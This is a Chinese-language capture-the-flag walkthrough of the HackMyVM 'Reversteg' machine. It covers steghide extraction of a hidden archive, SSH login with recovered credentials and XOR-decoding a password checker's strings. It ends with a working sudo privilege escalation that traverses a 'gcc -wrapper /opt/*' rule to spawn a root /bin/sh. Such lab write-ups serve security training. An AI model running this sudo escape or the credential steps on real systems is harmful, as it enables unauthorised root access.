image-20250524181332574

扫描

image-20250524163121844

80的的源码发现

117db0148dc179a2c2245c5a30e63ab0

根据提示是一张图片

加上jpg即可

图片用随波逐流直接梭

image-20250524163301452

morainelake为steghide密码

提取出的压缩包密码也是morainelake

┌──(root㉿kali)-[/myift/reversbeg]
└─# steghide extract -sf 1.jpg --passphrase morainelake
wrote extracted data to "secret.zip".

┌──(root㉿kali)-[/myift/reversbeg]
└─# ls
1.jpg secret.zip

┌──(root㉿kali)-[/myift/reversbeg]
└─# unzip secret.zip
Archive: secret.zip
creating: secret/
[secret.zip] secret/secret.txt password:
extracting: secret/secret.txt

┌──(root㉿kali)-[/myift/reversbeg]
└─# ls
1.jpg secret secret.zip

┌──(root㉿kali)-[/myift/reversbeg]
└─# cd secret

┌──(root㉿kali)-[/myift/reversbeg/secret]
└─# l
secret.txt

┌──(root㉿kali)-[/myift/reversbeg/secret]
└─# cat secret.txt
morainelake:660930334

前期踩点的时候就知道开启的有22端口ssh服务

我们直接尝试的登陆即可

在history发现一堆flag

直接bp爆破提交即可

image-20250524174640732

在/opt下发现reverse

我拉去下来放到idea中分析(re是不可能会的)

下面内容来源于sunset

https://sunsetaction.top/2025/04/03/HackMyVMReversteg/

分析来自于:Grok

puts("Enter passwords or Enter H coward mode:");
v20 = 0;
while ( 1 )
{
__isoc99_scanf("%s", &v4[7]);
if ( strcmp(&v4[7], "H") )
break;
if ( ++v20 == 100 )
{
puts("Hint: Invert XOR Replace! ");
goto LABEL_6;
}
}
strcpy(dest, &v4[7]);
__isoc99_scanf("%s %s %s", v10, &v9, &v8);
  • 提示用户输入密码,或者输入 “H“ 进入所谓的 “coward mode“。
  • 对用户输入的密码进行处理,并通过 XOR 解密和凯撒解密操作生成验证所需的数据。
  • 使用 check_passwords 函数验证输入的密码是否正确。
  • 如果验证通过,输出成功消息并解密一个隐藏字符串;否则,提示密码错误
  • 当用户输入的不是 “H“ 时,假设这是第一个密码,将其复制到 dest 中。
  • 接着,使用 scanf 读取另外三个字符串,分别存储到 v10v9v8 中。这可能是验证所需的额外输入
LABEL_6:
v7 = 8203321;
strcpy(v6, "/, 8:(");
strcpy((char *)&v5 + 7, "!!|}yx{z");
strcpy((char *)&v5, "(;$)(#");
v19 = 77;
v18 = (void *)xor_decrypt((char *)&v5 + 7, 77LL);
v17 = (void *)xor_decrypt(v6, (unsigned int)v19);
v16 = (char *)xor_decrypt(&v7, (unsigned int)v19);
v15 = (char *)xor_decrypt(&v5, (unsigned int)v19);

初始化数据XOR解密,解密

v17 = (void *)xor_decrypt(v6, (unsigned int)v19); == bamuwe (眼熟)

image.png

v15 = (char *)xor_decrypt(&v5, (unsigned int)v19);` == `eviden

image.png

v18 = (void *)xor_decrypt((char *)&v5 + 7, 77LL); == ll104567 (群主)

image.png

v16 = (char *)xor_decrypt(&v7, (unsigned int)v19);` == `ta0

v16不能直接在CyberChef里面转,否则会变成乱码,因为v7int格式,而(char *)xor_decrypt 需要将v7转为Sting格式

我们将其代码扒下来,直接打印v16 ,我们创建v16.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef unsigned char _BYTE;

_BYTE *xor_decrypt(const char *a1, char a2)
{
_BYTE *v3;
int v4;
int i;

v4 = strlen(a1);
v3 = malloc(v4 + 1);
for (i = 0; i < v4; ++i)
v3[i] = a2 ^ a1[i];
v3[v4] = 0;
return v3;
}

int main()
{
int v7 = 8203321;
char v19 = 77;
char *v16;

v16 = (char *)xor_decrypt((const char *)&v7, (unsigned int)v19);

printf("v16 content: %s\n", v16);

free(v16);

return 0;
}

然后编译并运行,得出v16ta0

 ⚡ root@kali  ~/Desktop/test/reverseteg  vim v16.c
⚡ root@kali  ~/Desktop/test/reverseteg  gcc v16.c -o v16
⚡ root@kali  ~/Desktop/test/reverseteg  ./v16
v16 content: ta0

那我们就得出v15-v18分别是evidenta0bamuwell104567

然后程序调用checkpassword函数

if ( (unsigned int)check_passwords((int)dest, (int)v10, (int)&v9, (int)&v8, (int)v18, (int)v17, v16, v15) )

最后根据参数我们依次输入密码

$ ./reverse
Enter passwords or Enter H coward mode:
ll104567
bamuwe
ta0
eviden
[+] Enter the password successfully! you know: flower

得到密码flower ?或者ll104567bamuweta0eviden

得到了一个密码

结合我们前面信息收集到的welcome用户

直接登录

$ sudo -l
Matching Defaults entries for welcome on reversteg:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on reversteg:
(ALL : ALL) NOPASSWD: /usr/bin/gcc -wrapper /opt/*

*可逃逸

sudo /usr/bin/gcc -wrapper /opt/../../bin/sh,-s .
这个命令的作用是:

利用 gcc -wrapper 的能力,指定 /bin/sh 替代 gcc;

-s 作为 sh 的参数,表示让 shell 读取命令自标准输入(-s 是 sh 的合法参数);

. 是 gcc 所要求的最后一个参数(随便给个文件名占位);

由于你使用的是 sudo,并且目标是 /bin/sh,你最终会以 root 权限获得一个 shell!

然后在/root下找到flag